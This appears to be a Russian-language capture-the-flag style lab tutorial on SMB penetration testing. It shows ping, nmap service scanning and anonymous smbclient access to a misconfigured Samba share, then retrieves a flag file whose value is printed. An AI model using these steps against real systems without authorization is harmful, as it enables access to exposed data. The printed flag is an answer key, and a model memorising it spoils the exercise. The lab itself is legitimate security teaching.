Введение
Добро пожаловать в этот практический лабораторный практикум, посвященный перечислению (enumeration) и эксплуатации протокола Server Message Block (SMB). SMB — это сетевой протокол общего доступа к файлам, который позволяет приложениям на компьютере читать и записывать файлы, а также запрашивать услуги у серверных программ в компьютерной сети. Благодаря широкому распространению, он является частой целью для злоумышленников.
В этом практикуме вы окажетесь в роли специалиста по тестированию на проникновение. Вы начнете с базовой сетевой разведки, чтобы подтвердить, что цель активна. Затем вы используете мощный инструмент сканирования nmap для обнаружения открытого SMB-сервиса. Наконец, вы воспользуетесь smbclient для исследования сервиса, поиска неправильной конфигурации, позволяющей анонимный гостевой доступ, и извлечения скрытого флага из общедоступной папки (share).
По завершении вы научитесь:
- Проверять сетевую связность с помощью
ping. - Сканировать открытые SMB-порты и сервисы с помощью
nmap. - Перечислять и подключаться к SMB-ресурсам (shares) с помощью
smbclient. - Использовать неправильную конфигурацию гостевого доступа для извлечения файлов.
Приступим.
Проверка подключения к цели с помощью Ping
На первом этапе вы выполните базовую задачу разведки: проверку того, что целевая машина находится в сети и доступна с вашей атакующей машины. Команда ping является стандартным инструментом для этой цели, отправляя ICMP-пакеты на хост для проверки ответа.
Ваша среда включает целевую систему с псевдонимом target. Чтобы подтвердить подключение, выполните следующую команду в вашем терминале для отправки четырех пакетов:
ping -c 4 target
Флаг -c 4 указывает ping отправить ровно четыре пакета и затем остановиться. Успешный результат будет выглядеть примерно так же, как вывод ниже, показывая ответы от цели. IP-адрес и значения времени могут отличаться.
PING target (172.17.0.2) 56(84) bytes of data.
64 bytes from target (172.17.0.2): icmp_seq=1 ttl=64 time=0.086 ms
64 bytes from target (172.17.0.2): icmp_seq=2 ttl=64 time=0.064 ms
64 bytes from target (172.17.0.2): icmp_seq=3 ttl=64 time=0.063 ms
64 bytes from target (172.17.0.2): icmp_seq=4 ttl=64 time=0.064 ms
--- target ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3069ms
rtt min/avg/max/mdev = 0.063/0.069/0.086/0.010 ms
Видя "4 received, 0% packet loss" (4 получено, 0% потери пакетов), вы подтверждаете, что ваша машина может обмениваться данными с целью, подготавливая почву для следующего этапа перечисления.
Сканирование открытых портов с помощью Nmap
На этом этапе вы будете использовать nmap (Network Mapper) для сканирования цели на наличие открытых портов и идентификации запущенных служб. Это критически важный шаг для поиска потенциальных векторов атаки. Мы сосредоточим наше сканирование на службе SMB.
Выполните следующую команду nmap для проведения сканирования с определением версий служб (-sV) и запуска скрипта (--script) для проверки протоколов SMB на target:
nmap -sV --script smb-protocols target
Через несколько мгновений nmap сообщит о своих результатах. Вывод будет выглядеть примерно так:
Starting Nmap 7.80 ( https://nmap.org ) at 2025-09-19 10:31 CST
Nmap scan report for target (172.17.0.2)
Host is up (0.00011s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
139/tcp open netbios-ssn Samba smbd 4.6.2
445/tcp open netbios-ssn Samba smbd 4.6.2
Host script results:
| smb-protocols:
| dialects:
| 2.02
| 2.10
| 3.00
| 3.02
|_ 3.11
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.40 seconds
Вывод подтверждает, что порты 139/tcp и 445/tcp открыты и на них работает служба Samba. Порт 445 является современным портом для SMB. Это обнаружение является сигналом для исследования службы SMB на наличие уязвимостей.
Подключение к цели через SMB
На этом этапе вы будете использовать утилиту smbclient для взаимодействия со службой SMB на цели. Ваша цель — выяснить, можете ли вы подключиться без пароля, что является методом, известным как "нулевая сессия" (null session) или анонимный вход.
Сначала перечислим доступные ресурсы (shares) на цели. Флаг -L перечисляет службы, а флаг -N пытается подключиться без пароля.
Выполните следующую команду:
smbclient -L //target -N
Если сервер настроен неправильно и разрешает гостевой доступ, вы увидите список доступных ресурсов. Вывод должен выглядеть примерно так:
Sharename Type Comment
--------- ---- -------
public Disk
IPC$ IPC IPC Service (Samba Server)
SMB1 disabled -- no workgroup available
Ключевым моментом здесь является ресурс public. Его название предполагает, что он может быть доступен любому пользователю. На следующем шаге вы подключитесь к этому ресурсу, чтобы изучить его содержимое.
Исследование целевой системы и поиск флага
На этом заключительном этапе вы подключитесь к обнаруженному ресурсу public и выполните поиск флага. Это имитирует фазу пост-эксплуатации, когда злоумышленник ищет ценные данные.
Подключитесь непосредственно к ресурсу public с помощью smbclient, снова используя флаг -N для анонимного доступа:
smbclient //target/public -N
Успешное подключение приведет вас в командную строку smbclient, которая выглядит как smb: \>. Теперь вы просматриваете удаленный файловый ресурс.
Try "help" to get a list of possible commands.
smb: \>
Используйте команду ls для вывода содержимого ресурса:
ls
Вы должны увидеть файл flag.txt в списке.
smb: \> ls
. D 0 Fri Sep 19 10:29:39 2025
.. D 0 Fri Sep 19 10:29:39 2025
flag.txt N 29 Fri Sep 19 10:29:39 2025
40901312 blocks of size 1024. 22067688 blocks available
Теперь скачайте файл на свою локальную машину с помощью команды get:
get flag.txt
Примечание: Утилита smbclient не имеет встроенной команды cat для прямого просмотра содержимого файла. Сначала необходимо скачать файл с помощью get.
После завершения загрузки введите exit, чтобы выйти из сеанса smbclient. Наконец, используйте команду cat в вашем локальном терминале, чтобы отобразить содержимое загруженного флага.
cat flag.txt
Терминал отобразит значение флага.
labex{smb_gu3st_acc3ss_fl4g}
Поздравляем! Вы успешно провели перечисление службы SMB, использовали некорректную конфигурацию гостевого доступа и получили флаг. Скопируйте значение флага, чтобы завершить лабораторную работу.
Резюме
В этой лабораторной работе вы успешно выполнили базовый рабочий процесс тестирования на проникновение против некорректно настроенной службы SMB. Вы изучили и отработали следующие навыки:
- Использование
pingдля проверки сетевой связности с целью. - Применение
nmapдля сканирования открытых портов и идентификации службы SMB. - Использование
smbclient -Lдля анонимного перечисления доступных сетевых ресурсов. - Подключение к открытому ресурсу SMB с помощью
smbclientс использованием нулевой сессии. - Навигация по удаленному ресурсу и скачивание файлов с помощью
lsиget.
Это упражнение демонстрирует распространенную и критическую уязвимость: разрешение анонимного или гостевого доступа к сетевым ресурсам. Подобные некорректные настройки могут привести к утечке конфиденциальных данных. Понимая, как находить и использовать эти слабые места, вы будете лучше подготовлены к защите собственных систем от них.



